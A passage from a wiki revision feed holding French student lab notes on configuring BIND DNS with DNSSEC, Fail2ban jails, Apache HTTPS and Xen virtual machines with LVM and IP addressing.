        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12113</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12113"/>
		<updated>2026-02-07T17:50:31Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Fail2Ban */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
